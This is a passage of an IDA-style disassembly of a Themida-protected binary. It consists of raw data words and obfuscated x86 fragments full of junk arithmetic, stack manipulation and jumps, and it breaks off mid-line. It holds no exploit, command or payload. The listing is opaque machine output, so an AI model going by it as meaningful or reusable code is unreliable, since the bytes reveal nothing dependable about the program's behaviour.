0FFBCC5E9h, 1C77FFFFh, 6658669Dh, 9C240411h, 0FF7E5FE9h dd 240C8BFFh, 8704C483h, 6F6668F1h, 34890000h, 2414F724h dd 0E924348Bh, 0FFFFABA3h, 0EF1138BDh, 53DDF732h, 0FFEE54E9h dd 241433FFh, 0E924248Bh, 0FFFFD3F7h, 2BDh, 75C68100h dd 81132C58h, 111CDEEEh, 0B5EE8169h, 0E970D52Bh, 1734h dd 24048B66h, 0FFCD7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FB0ED: ; CODE XREF: Themida_:004F8506j mov esi, 4 jmp loc_4F35F5 ; --------------------------------------------------------------------------- loc_4FB0F7: ; CODE XREF: Themida_:004FE3B1j add ebx, 3F4623Dh not ebx xor ebx, 9E29AE7Ch mov edx, ebx pop ebx and eax, edx pop edx or eax, eax jnz loc_4F8E2D sub esp, 4 mov [esp], edi push ebp mov ebp, 290D5F08h mov edi, ebp pop ebp push 2B18h mov [esp], ecx mov ecx, 9CA35AEh not ecx jmp loc_4FE322 ; --------------------------------------------------------------------------- dw 3C68h dd 8900003Ah, 90E9240Ch, 5C00003Dh, 0FFCEC0E9h, 5318BAFFh dd 88E92C90h, 81000035h, 8018B7E1h, 83C18118h, 8100A566h dd 987B76C1h, 0E9D9F74Ch, 0FFFFE2E0h, 89243489h, 0BA5FE9E6h dd 0EF29FFFFh, 0A4A1E95Dh, 0CE81FFFFh, 29DC6FE2h, 901AC681h dd 0F329D603h, 8324348Bh, 1C8704C4h, 24248B24h, 0E9240C89h dd 0FFFF7D54h, 8904EC83h, 0EC83243Ch, 241C8904h, 68h, 241C8B00h dd 0E9E38953h, 3F5Fh, 1F83C981h, 0E181222Ah, 64CF0B7Dh dd 0FEF18149h, 8140A462h, 173670E9h, 59CA2949h, 0C281DA01h dd 1B97331Eh, 0F0E9525Bh, 29FFFFBBh, 0C78159CFh, 6C237FA7h dd 0FFA855E9h, 2474FFFFh, 2434FF04h, 8324048Bh, 895104C4h dd 3D16E9E1h, 0BE560000h, 2ADE709Bh, 15EF229h, 3DBD55F2h dd 0E92A7407h, 0FFFFE60Eh, 2D64C781h, 0C4E92D69h, 1FFFFA4h dd 11E981D1h, 5747E723h, 0F12124BFh, 5FF9295Eh, 0FF95A4E9h dd 0C8B66FFh, 1F4CE924h, 0E9210000h, 3100E95Dh, 8B660000h dd 7F68240Ch, 8900001Fh, 54E92434h, 81FFFF9Bh, 1C5h, 959CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB26E: ; CODE XREF: Themida_:004F7FDFj not ebx shl ebx, 3 xor ebx, 281A15ABh jmp loc_4FEB51 ; --------------------------------------------------------------------------- aFrD db '\fR',0 aFz db 'fZ',0 dd 0A4EB80C3h, 0CB05066h, 0DFC380h, 0DFEB80C3h, 0B60F5866h dd 8734FFC0h, 6824048Bh, 0F83h, 54242C89h, 5D2434FFh, 0D17E9h dd 0A41BF00h, 60056D0Fh, 56B8106h, 6FD13F34h, 36536005h dd 2DF8291Ah, 1A365360h, 0D13F342Dh, 0F9BEE96Fh, 34FFFFFFh dd 240C8B24h, 81E38953h, 4C3h, 4C38300h, 0FFDCA1E9h, 24248BFFh dd 95CDE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB2FA: ; CODE XREF: Themida_:004FE01Bj mov eax, 8026EE1h sub [esp+8], eax pop eax sub [esp+4], edi add dword ptr [esp+4], 8026EE1h pop edi pop dword ptr [edi+20h] add dword ptr [edi+20h], 68D43B1Bh jmp loc_4FCEBF ; --------------------------------------------------------------------------- dd 54242C89h, 4BF575Dh, 81000000h, 0C60354C5h, 0C77DE914h dd 0F759FFFFh, 0EFC581DDh, 1C32BADh, 2434FFEFh, 4C4835Dh dd 0A3EF814Fh, 0E97530B9h, 0FFFFF6F2h, 0E9DE015Dh, 0FFFF93FBh dd 2C8BE801h, 4C48324h, 0FF822EE9h, 1C77FFFFh, 6658669Dh dd 9C240419h, 0FF7B7BE9h, 0F2F281FFh, 53E121Ah, 425E258Ah dd 74E9D001h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB38B: ; CODE XREF: Themida_:004F611Dj push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push dword ptr [edi+24h] push 42AAh mov [esp], ebp pop dword ptr [edi+24h] jmp loc_4F6B25 ; --------------------------------------------------------------------------- db 0B9h, 0A4h, 7Bh dd 70BD35FAh, 3137A90Bh, 0E58159CDh, 372D315Ch, 0FFC6B5E9h dd 4C381FFh, 51000000h, 4B9h, 0CBDDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB3DE: ; CODE XREF: Themida_:004FC4ADj add eax, ebp mov ebp, [esp] add esp, 4 add eax, 0BC95DB2h push dword ptr [esp] pop edi add esp, 4 add eax, 2 push 1A41h mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp test cl, al pushf jmp loc_4F2EF4 ; --------------------------------------------------------------------------- dw 0C781h dd 56F35188h, 243C335Bh, 33243C31h, 895C243Ch, 0DABD242Ch dd 0C145746Dh, 0CD8105E5h, 2E4B762Dh, 6CDBF581h, 0C581199Eh dd 48AE6C4Eh, 0FFFE09E9h, 0D7E952FFh, 81FFFFD0h, 255140C1h dd 0BDF18138h, 41402959h, 0FF9DCDE9h, 0C7815AFFh, 4, 8B243C87h dd 36E92424h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB46B: ; CODE XREF: Themida_:004FCA1Bj sub [edi+24h], ebx pop ebx loc_4FB46F: ; CODE XREF: Themida_:004F5FF1j push edi mov edi, esp jmp loc_4F9F3A ; --------------------------------------------------------------------------- db 47h dd 0FFC913E9h, 73E92DFFh, 348B0CB0h, 4C48324h, 0B005F001h dd 0E914C920h, 0FFFFB84Bh, 5B2434FFh, 4C481h, 0C6010000h dd 0FFE3A8E9h, 7FE681FFh, 8155407Fh, 5C74EEh, 8BF70101h dd 89532434h, 4C381E3h, 83000000h, 1C8704C3h, 8DE95C24h dd 2DFFFF81h, 18E38B4h, 0C33B6A35h, 0E9C68915h, 0FFFFEE08h dd 4C481h, 0C1FE0000h, 0FF7B66E9h, 5EF309FFh, 863B951h dd 0D9F73253h, 12E6E981h, 0E9552059h, 0FFFF897Eh, 0BF57EED1h dd 3CF47202h, 0FFC046E9h, 59CB88FFh, 325CE9h, 24148900h dd 415E9h db 0 ; --------------------------------------------------------------------------- loc_4FB51D: ; CODE XREF: Themida_:004FD81Bj mov edi, esp push esi push ebx mov ebx, 5A9A0FFBh jmp loc_4F7D6C ; --------------------------------------------------------------------------- db 40h dd 4D9E9h, 24148900h, 0FFFC10E9h, 364ABEFFh, 0A2E97AF9h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB543: ; CODE XREF: Themida_:004F8E45j mov [esp], ebx mov ebx, 59D66FD0h shl ebx, 2 jmp loc_4F494E ; --------------------------------------------------------------------------- db 0BFh dd 4, 0FF8E77E9h, 1DE681FFh, 8166E54Eh, 4A6C2CEEh, 0CBBCE92Dh dd 8951FFFFh, 242FE9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB576: ; CODE XREF: Themida_:004FBDE9j push ebx mov ebx, esp add ebx, 4 jmp loc_4F7C81 ; --------------------------------------------------------------------------- dd 0B1240C89h, 18B4503Ch, 0E4C0CCFEh, 0A5EC8005h, 0E958E128h dd 0FFFFF7D2h, 0C281E289h, 4, 8704C283h, 30E92414h, 88FFFF9Ah dd 24148BD5h, 0FFB668E9h, 242C87FFh, 8924248Bh, 2D68240Ch dd 8B6C5228h, 0C481240Ch, 4, 0CAC181h, 0C1811DAAh, 1, 1492F181h dd 5D51E23Ch, 70990559h, 0E8291DD2h, 0FFE7D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FB5F1: ; CODE XREF: Themida_:004F8F01j mov ebx, 443B677Fh jmp loc_4FE3AC ; --------------------------------------------------------------------------- db 89h dd 0E8892404h, 0E958C189h, 0FFFF908Fh, 5BDD0158h, 45B5F581h dd 77E92971h, 40FFFFCDh, 56E0905h, 7F7B3523h, 762D750Eh dd 5569459h, 7FBEE100h, 6BE9C701h, 8100001Ah, 7D0A3BEFh dd 8CEF8178h, 297DB591h, 4875FF8h, 24248B24h, 0FFEDF6E9h dd 8EBD55FFh, 148DD10h, 1594E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB65A: ; CODE XREF: Themida_:004FDEC6j add esp, 4 mov esi, [esp] add esp, 4 push 25F6h mov [esp], edi push ebp mov ebp, 134D5A23h push esi jmp loc_4F7AE7 ; --------------------------------------------------------------------------- dw 4B9h dd 0E9000000h, 0FFFFB3EDh ; --------------------------------------------------------------------------- loc_4FB684: ; CODE XREF: Themida_:004FAE7Bj add edx, edi jmp loc_4FCB41 ; --------------------------------------------------------------------------- db 8Fh dd 7862E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB692: ; CODE XREF: Themida_:004F644Dj add dword ptr [esp], 47742C73h mov eax, [esp] jmp loc_4FA5ED ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 81h dd 25ED2C5h, 0E9EF3107h, 16D7h, 2BEh, 0AE09E900h, 0E95CFFFFh dd 2D42h, 240C8966h, 33E9A7B5h, 5FFFFF5h, 4, 4BF57h, 0F8010000h dd 2404875Fh, 2B9515Ch, 0E9000000h, 0FFFF84BFh, 0FE65E957h dd 0C581FFFFh, 4, 2B85053h, 89000000h, 8CFEE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB702: ; CODE XREF: Themida_:004F314Cj pop edi jmp loc_4F9B93 ; --------------------------------------------------------------------------- dd 9049CCBEh, 0FAE68149h, 4E0A080Eh, 2C17F681h, 0C6812955h dd 3A584F77h, 815EF201h, 0B16455EAh, 81F22973h, 0B16455C2h dd 47EA8173h, 5E5BAD74h, 0FFA69FE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FB73D: ; CODE XREF: Themida_:004FC75Fj sub esi, 20E52361h shr esi, 8 not esi jmp loc_4F5B8C ; --------------------------------------------------------------------------- loc_4FB74D: ; CODE XREF: Themida_:004F9C66j mov ecx, [esp] jmp loc_4F4716 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0D9h dd 58FFFFB8h, 31243C33h, 48E9243Ch, 50FFFFC4h, 4AE6BA52h dd 0C28133DDh, 414B155Dh, 52E38953h, 4BAh, 0F75EE900h dd 77FFFFFFh, 11589D1Ch, 0E99C2404h, 0FFFF7764h, 4C481h dd 0EE810000h, 4, 5C243487h, 57241C89h, 0FFB934E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FB7A9: ; CODE XREF: Themida_:004F912Fj xor [esp], ebx xor ebx, [esp] jmp loc_4FD5C6 ; --------------------------------------------------------------------------- dd 104C483h, 243C8BFDh, 1D6EE9h, 5B545300h, 4C381h, 91E90000h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB7CF: ; CODE XREF: Themida_:004FAC77j push esi mov esi, esp push 745Ch mov [esp], ecx mov ecx, 4 add esi, ecx pop ecx sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp jmp loc_4FCABA ; --------------------------------------------------------------------------- loc_4FB7F1: ; CODE XREF: Themida_:004F558Ej neg edi add edi, 437FF95Bh sub ebx, edi mov edi, [esp] add esp, 4 xchg ecx, ebx not ecx xchg ecx, ebx xor ebx, 54AB7505h add ecx, ebx jmp loc_4F5F58 ; --------------------------------------------------------------------------- aLSc3 db '$$3',0 align 4 dd 7B0342BDh, 0DDED8175h, 454F0874h, 0E907E5C1h, 0FFFFA393h dd 0E95EF521h, 24A5h, 34FFE829h, 242C8B24h, 4C481h, 0F2680000h dd 89000078h, 34E92434h db 3 dup(0) ; --------------------------------------------------------------------------- loc_4FB853: ; CODE XREF: Themida_:004F5912j mov ebx, [esp] add esp, 4 sub [esp+4], edi sub dword ptr [esp+4], 7A745C07h jmp loc_4F3F86 ; --------------------------------------------------------------------------- dw 0CD68h dd 8B6B8E14h, 0C4832414h, 2BC28104h, 0E93ABA7Eh, 0FFFFBB0Fh dd 0AEE95452h, 54000006h, 8324348Bh, 0BB5304C4h, 2BFD0DDBh dd 34E5E9h, 0FFEE8300h, 0E6C1DEF7h, 0EFEE8108h, 8198F199h dd 0BD3193EBh, 81F30108h, 4ECh, 24348900h, 9E4966BEh, 2E6C14Eh dd 1ECFEE81h, 814E3DF8h, 1EEh, 54F68100h, 1F43C37h, 21E95EF3h dd 5AFFFFE3h, 4EC81h, 2AE90000h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB8E7: ; CODE XREF: Themida_:004F3D08j pop eax jmp loc_4FCC77 ; --------------------------------------------------------------------------- db 59h, 68h, 57h dd 89000012h, 0B951242Ch, 0D186962h, 186966BDh, 0D3ED810Dh dd 2920B349h, 0D3C581CDh, 5920B349h, 2C8BE901h, 4C48324h dd 8904EC83h, 6BE92434h, 56FFFF79h, 0C6815E54h, 4, 0BB74E950h dd 5A54FFFFh, 2E6BBD55h, 0BB536A21h, 11541C1Dh, 0E381D3F7h dd 0FB65114h, 7E3C143h, 2873E951h, 3C890000h, 0CDA8E924h dd 0F430FFFFh, 0FFC4805Ah, 5201C480h, 803AB151h, 0C1FE2BE1h dd 80E5F180h, 0CE883BC1h, 0C0CEFE59h, 0C68003EEh, 5AF428B4h dd 58E700h, 241C8BF8h, 0FFB79EE9h, 4C183FFh, 5C240C87h dd 0E9240433h, 0FFFFF353h, 0E950D1F7h, 3078h, 4B850h, 0C5010000h dd 4C58158h, 87000000h, 835C242Ch, 48904ECh, 2426B824h dd 7E050EA7h, 2D737A01h, 822125A0h, 0FFA2BDE9h, 0BB535BFFh dd 2, 575BDF29h, 42474FFh, 83243C8Bh, 48F04C4h, 0AFD5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB9EE: ; CODE XREF: Themida_:004F52D8j add ebx, 159E2526h push dword ptr [esp] jmp loc_4FBE3C ; --------------------------------------------------------------------------- dd 0C0BBB652h, 0E68003E6h, 8F5BE9CDh, 332DFFFFh, 291A8D13h dd 0D32958C3h, 58A3C381h, 535A06F0h, 42474FFh, 24048F5Bh dd 241C895Ch, 4C4E68h, 24048900h, 42685256h, 5A237059h dd 338EE956h, 59540000h, 4C181h, 0CBE90000h, 100002Eh dd 5B04245Ch, 8B2434FFh, 0C4832414h, 4C48104h, 0E9000000h dd 0FFFFE5E7h, 51FFC283h, 0F10D2DB9h, 8EC9810Eh, 0E926970Dh dd 0FFFF8DB0h ; --------------------------------------------------------------------------- loc_4FBA78: ; CODE XREF: Themida_:004FC477j neg dl inc dl jmp loc_4F8ED9 ; --------------------------------------------------------------------------- db 51h, 0B1h, 0B3h dd 0FF9D81E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FBA89: ; CODE XREF: Themida_:004F486Dj or eax, eax jz loc_4FA510 push dword ptr [edi+28h] push dword ptr [esp] jmp loc_4F375A ; --------------------------------------------------------------------------- aWssi db 'WS',8,0 dw 100h dd 0EFE981F1h, 5E2D1C38h, 0C8BC821h, 0E1895124h, 7F2DBA52h dd 0F2816ADEh, 6ADE7F29h, 0EE9D101h, 0AD00000Bh, 8904EC83h dd 0C0BE2434h, 0E949E45Ah, 3989h, 3099B450h, 0FE0858E7h dd 5B2434FFh, 4C481h, 0B4500000h, 86EC86B8h, 86D2F6D5h dd 0FEEC86D5h, 6ECC0CCh, 0D4F6DCF6h, 0C0CBB551h, 0CDFE08E5h dd 0C580DDF6h, 0FF5E9C3h, 0C890000h, 88B5B524h, 835359E8h dd 0C8904ECh, 0D01AB524h, 0F6C580EDh, 8063CD80h, 0EB88DEC5h dd 5BD83059h, 0EC83C0FEh, 241C8904h, 0F7806FB7h, 6E7C074h dd 245CF653h, 0E7805B01h, 6BF7808Dh, 5BF800h, 0B60F58C3h dd 8734FFC0h, 4EC81h, 4890000h, 0E685224h, 5A20A863h, 0FFFEF3E9h dd 24248BFFh, 0E99CC138h, 0FFFF7378h ; --------------------------------------------------------------------------- loc_4FBB7C: ; CODE XREF: Themida_:004F4099j xor esi, 1DF7C845h mov ebp, esi mov esi, [esp] add esp, 4 and ebx, ebp jmp loc_4FE472 ; --------------------------------------------------------------------------- loc_4FBB94: ; CODE XREF: Themida_:004FACC6j push ebp mov ebp, 4 add ecx, ebp jmp loc_4F8A0B ; --------------------------------------------------------------------------- db 5Bh, 81h, 0EBh dd 6DFE0BAEh, 2DBEE9h, 0A2E9AC00h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FBBB3: ; CODE XREF: Themida_:004F8DBCj sub cl, bh add cl, 4Eh jmp loc_4F8926 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0D5E95451h, 31FFFFB4h, 54ED68C3h, 0C890000h, 66A0B524h dd 0D841E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FBBDA: ; CODE XREF: Themida_:004F512Cj sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_4F8EE3 ; --------------------------------------------------------------------------- db 66h, 0Fh, 0A3h dd 0E99C2404h, 3Ah ; --------------------------------------------------------------------------- loc_4FBBF4: ; CODE XREF: Themida_:004F47C3j push eax jmp loc_4FE4E7 ; --------------------------------------------------------------------------- dw 4BAh dd 0E9000000h, 0FFFFCF4Ch, 0FF72EBE9h, 52E789FFh, 4BAh dd 5AD70100h, 8704EF83h, 895C243Ch, 8DE9243Ch, 5000001Ah dd 1FED9DB8h, 0B983E9F9h, 0C1E9FFFFh, 8FFFFF72h, 7BE92404h dd 81FFFFBBh, 0AD3058E9h, 12B85009h, 0C1689E40h, 0A80506E0h dd 35664C2Bh, 86F442C1h, 0A0E9C131h, 81FFFFE4h, 0EA0DD0C1h dd 60F1810Eh, 0C1FBA3A9h, 0C18107E9h, 17BA54C1h, 2A8768h dd 24348900h, 1C6AD6BEh, 0ED0CE932h, 2C8BFFFFh, 4C48124h dd 50000000h, 0A6C9ACB8h, 66C68109h, 166406Dh, 66EE81C6h dd 5866406Dh, 348BF329h, 4C48324h, 66E8BA52h, 0CA813F5Fh dd 6A7436BDh, 0C281DAF7h, 523F611Eh, 0D66BEA81h, 0EA817070h dd 0ED90C48Ch, 1D5AE9h, 8BD90100h, 5456241Ch, 4C6815Eh dd 81000000h, 4C6h, 24348700h, 0FFE2B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FBCE9: ; CODE XREF: Themida_:004F816Fj sub bl, 0A6h jmp loc_4FC474 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 26855h, 1AE90000h, 8100001Ch, 392D0ECDh, 0B1ED8129h dd 81417176h, 0BA1EE1C5h, 5DEE29DBh, 241C8B56h, 99F1E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FBD22: ; CODE XREF: Themida_:004F5CE9j sub edi, 28887497h sub edi, 28F017B9h and ecx, edi push dword ptr [esp] mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_4F4789 ; --------------------------------------------------------------------------- db 53h dd 0D3F60FB3h, 0C380EBD0h, 0E9D80062h, 353h, 0E9243489h dd 0FFFFFA03h, 83C6FE5Ah, 21E904ECh, 0B7FFFFEFh, 3020B29Fh dd 0CA59E9FAh, 0F3B1FFFFh, 0E901C180h, 0FFFF8FC6h, 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], eax push 2 push dword ptr [esp] jmp loc_4F524D ; --------------------------------------------------------------------------- dd 5E08950h, 4, 8704E883h, 895C2404h, 0E189240Ch, 4C181h dd 0E9830000h, 240C8704h, 241C895Ch, 8324048Bh, 148904ECh dd 0A297E924h, 0FA89FFFFh, 0E9D3015Fh, 0FFFF9E81h ; --------------------------------------------------------------------------- loc_4FBDE0: ; CODE XREF: Themida_:004F523Cj sub ebp, 2BFD444Eh mov edi, [esp] jmp loc_4FB576 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BF243C89h, 4, 65E9FD01h, 33FFFF74h, 545C2414h, 8324048Fh dd 0E9042404h, 0FFFF70E0h, 8124348Bh, 4C4h, 5EF78900h dd 68h, 243C2900h, 8CE7815Fh, 8161A074h, 7F9FF8C7h, 0E9FE89BFh dd 0FFFF9493h ; --------------------------------------------------------------------------- loc_4FBE3C: ; CODE XREF: Themida_:004FB9F7j pop ecx add esp, 4 sub ebx, 6FFF4430h add ebx, edi jmp loc_4FDB7A ; --------------------------------------------------------------------------- loc_4FBE4D: ; CODE XREF: Themida_:004FEF6Ej xor eax, 3F2895E5h add ebx, eax pop eax add ebp, 1EC27F49h add ebp, ebx sub ebp, 1EC27F49h mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_4F5C1A ; --------------------------------------------------------------------------- db 5Bh dd 0BFB15153h, 807FC980h, 0D9F660F1h, 0D1F6C9FEh, 88D2F180h dd 25E959CFh db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FBE93: ; CODE XREF: Themida_:004F3319j add ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, 1CC62A1Fh jmp loc_4F83D0 ; --------------------------------------------------------------------------- dd 8D5596BBh, 5DEB3146h, 815BD909h, 219A53C1h, 59CD09B4h dd 0DDB85051h, 48756923h, 4D35D8F7h, 8986DBF7h, 24048BC1h dd 104C483h, 0F58159CDh, 0A6C25A4h, 0FFC8F8E9h, 4C381FFh dd 83000000h, 1C3302C3h, 241C3124h, 0FF78C0E9h, 68515CFFh dd 53AB506Ah, 592434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_4F9BAD ; --------------------------------------------------------------------------- dd 89241489h, 4EC81E2h, 89000000h, 0EC81240Ch, 4, 68241489h dd 6F3144FFh, 0FF87CBE9h, 0C2815AFFh, 4, 4C281h, 14870000h dd 0A9E95C24h, 83FFFF6Fh, 8AE904C4h, 29000009h, 431E2DD8h dd 34FF6089h, 241C8B24h, 0E904C483h, 0FFFF76BFh, 3C8BFB29h dd 4C48324h, 0B951C301h, 50F1565Ch, 34FFCB01h, 16E95924h dd 29FFFF8Bh, 0F4F3E9F0h, 0C281FFFFh, 43451729h, 0FF833EE9h dd 2434FFFFh, 0E3895359h, 4C381h, 16E90000h, 50000018h dd 3B6ABF57h, 0FEB8103Ah, 2914E04Dh, 243C8BF8h, 0FFDDB8E9h dd 70B050FFh, 0CE0CFF04h, 0E9535166h, 3013h, 0E904C483h dd 625h, 8104EDC1h, 0CB6374C5h, 8E5C10Bh, 0C3E9D5F7h, 66FFFFE1h dd 50240C8Bh, 2668E089h, 89000029h, 4BE2434h, 2D000000h dd 41F64DC9h, 0C905F001h, 8B41F64Dh, 0C4832434h, 0A7B3E904h dd 0C981FFFFh, 193E47E0h, 5506E9C1h, 795B82BDh, 0D9BF5753h dd 291CBB7Dh, 300E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FC02E: ; CODE XREF: Themida_:004F7590j mov al, 0B2h and dl, al pop eax jmp loc_4F7436 ; --------------------------------------------------------------------------- loc_4FC038: ; CODE XREF: Themida_:004FAEADj xchg ebp, [esp] jmp loc_4FE9EA ; --------------------------------------------------------------------------- dd 4F0E23BBh, 5BD92907h, 59CE895Eh, 4247429h, 6E9EE95Eh dd 665CFFFFh, 5024048Bh, 405E089h, 0E9000000h, 325Eh, 3E7E95Ah dd 0C2810000h, 58E79310h, 0F75AD709h, 0E9DFF7DFh, 0FFFFB748h dd 8704EF83h, 895C243Ch, 68241Ch, 5B000000h, 68E468h, 0A3FDE900h dd 0B850FFFFh, 567511F0h, 1C21E235h, 7CAFE956h, 45E9FFFFh dd 8BFFFF6Eh, 0C483241Ch, 4B8E904h, 4830000h, 5580424h dd 4, 0FF84D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FC0C9: ; CODE XREF: Themida_:004FDB91j xor dword ptr [esp], 443617D7h pop ecx jmp loc_4F416E ; --------------------------------------------------------------------------- dw 0C480h dd 58E6282Fh, 148BF030h, 4C48324h, 2DE4E9h, 67BAB900h dd 0D1F7501Fh, 0BEB85049h, 0F75F8C1Ah, 5FE35D8h, 0B8051D7Bh dd 2990516Fh, 0C98158C1h, 0C591B35h, 5FF1F181h, 0CA016EDFh dd 0E91E9h, 6DD6E900h, 0EC83FFFFh, 24048904h, 0B5240481h dd 5D1B8A04h, 4B5ED81h, 31581B8Ah, 2434FFE8h, 0E389535Dh dd 2E82E9h, 4216600h, 0A9E99C24h, 89FFFF6Dh, 4C681E6h dd 83000000h, 348704C6h, 6C815C24h, 7620424h, 440129FEh dd 44810424h, 7620424h, 48B29FEh, 4C48124h, 8B000000h dd 0C481240Ch, 4, 0FFA7FAE9h, 0CA015AFFh, 36B95159h, 8135B109h dd 4739CE9h, 53BE563Dh, 81071200h, 0E2725ACEh, 0F6814E37h dd 107245DEh, 0E95EF129h, 0FFFF9108h, 582434FFh, 68E38953h dd 71F2h, 0BD242C89h, 4, 815DEB01h, 4C3h, 2119E900h, 0EA810000h dd 1, 1EC0BE56h, 0F229512Dh, 0FF8290E9h, 0FEDDF6FFh, 80D5F6C5h dd 0CDFE07EDh, 80A5F580h, 0EDC067F5h, 7E5C006h, 0E953DDF6h dd 1701h, 8B2434FFh, 0AE92414h, 0C1FFFFBBh, 0E2C104EAh dd 6804h, 2C810000h, 0AC28DE24h, 0BCB0E948h, 5BFFFFh, 0C3305AD0h dd 0FF93E2E9h, 0EEE980FFh, 2CAFF180h, 4C82848h, 8520E948h dd 49BFFFFFh, 1153113h, 5A2D5FF8h, 291E817Ah, 7A5A05E8h dd 492D1E81h, 8B153113h, 0C483242Ch, 5D82904h, 673B1C5Fh dd 0E9241C8Bh, 0FFFFA6F1h, 65CFBD66h, 7EBE6656h, 0EE816602h dd 816661EAh, 662144C6h, 1BA6652h, 0D6296600h, 66535A66h dd 0E919B3BBh, 0FFFFA094h, 68242C89h, 5D34526Dh, 0C5814D5Dh dd 27BC2F84h, 0D65EF581h, 0EB89FB91h, 0FF97F4E9h, 815E54FFh dd 4C6h, 4EC8300h, 0B9240C89h, 2A76084h, 760B68h, 24348900h dd 61DDBD55h, 0ED817789h, 65E006FCh, 0FF95D2E9h, 4C181FFh dd 0E9000000h, 0FFFF9A6Ch, 8124048Bh, 4C4h, 241C3300h dd 0FF7936E9h, 405FFh, 0E9550000h, 0FFFFEB46h, 0E904EC83h dd 0C73h, 80355858h, 55499171h, 0FFC8B7E9h, 654868FFh dd 815A2742h, 717AC7F2h, 2936E96Fh, 0C15F0000h, 0ED8106EDh dd 0FD6BFC1Bh, 0FF8A2BE9h, 1EE83FFh, 0FFEE39E9h, 0FBE95FFFh dd 0BBFFFF91h, 0E823A082h, 0F9E9DF89h, 8300002Eh, 0D82104C4h dd 0FF9D63E9h, 4EE948FFh, 53FFFFBBh, 3852BD55h, 35E9796Dh dd 0BBFFFFFBh, 0 dd 0DF87FB29h, 14E7815Bh, 52660244h, 163631BAh, 81D2F761h dd 35406BEAh, 5FEA8115h, 3143B485h, 0FE015AD7h, 0FF8280E9h dd 243487FFh, 243C895Ch, 2434FF54h, 4C4835Fh, 4C781h, 0BA520000h dd 721E32FFh, 0D2E9D2F7h, 52FFFFB1h, 0C5E9E289h, 89FFFFB3h dd 68682414h, 89000020h, 0DDBF243Ch, 815AF958h, 561460F7h dd 0E9FA8948h, 0FFFF744Ah ; --------------------------------------------------------------------------- loc_4FC3E8: ; CODE XREF: Themida_:004F5DD0j push eax mov eax, 5D281E82h xor eax, 449B4096h xor eax, 345B5267h jmp loc_4F3CF2 ; --------------------------------------------------------------------------- db 81h, 0F5h, 3Fh dd 29433A1Fh, 0E4E0E9EFh, 0AA68FFFFh, 89000019h, 91E9243Ch dd 89FFFFCAh, 240C8BCAh, 0E9CDE956h, 5358FFFFh, 1D3F2568h dd 0DBF75B2Eh, 0DE0E9h, 30895A00h, 5E2434FFh, 0FFF443E9h dd 50C831FFh, 7827E953h, 875DFFFFh, 22E92414h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC44F: ; CODE XREF: Themida_:004F56CEj dec ecx jmp loc_4F8CD1 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0DFh dd 4A3D5B76h, 0D2BEA81h, 3CE92F21h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC467: ; CODE XREF: Themida_:004FE4A4j push ebp jmp loc_4F97B2 ; --------------------------------------------------------------------------- db 0F7h, 0D9h, 0E9h dd 2631h ; --------------------------------------------------------------------------- loc_4FC474: ; CODE XREF: Themida_:004FBCECj push edx mov dl, 45h jmp loc_4FBA78 ; --------------------------------------------------------------------------- dd 31240433h, 5DE92404h, 81FFFFDAh, 210562E5h, 0FE9572Ah dd 89FFFFACh, 1EE9240Ch, 0BEFFFF84h, 940DD7h, 2833E9h db 0 ; --------------------------------------------------------------------------- loc_4FC4A5: ; CODE XREF: Themida_:004F76F0j add eax, edi push ebp mov ebp, 675C6D4Bh jmp loc_4FB3DE ; --------------------------------------------------------------------------- dw 8143h dd 6F2E9DC3h, 5BDE310Dh, 0E9DEF746h, 0FFFFF189h, 0E18858B4h dd 0B6526658h, 1510E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FC4D2: ; CODE XREF: Themida_:004F526Ej push dword ptr [esp] jmp loc_4FD5C0 ; --------------------------------------------------------------------------- dw 52B1h dd 0F6A0E980h, 72F180D1h, 3059CB00h, 8FC1E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC4EE: ; CODE XREF: 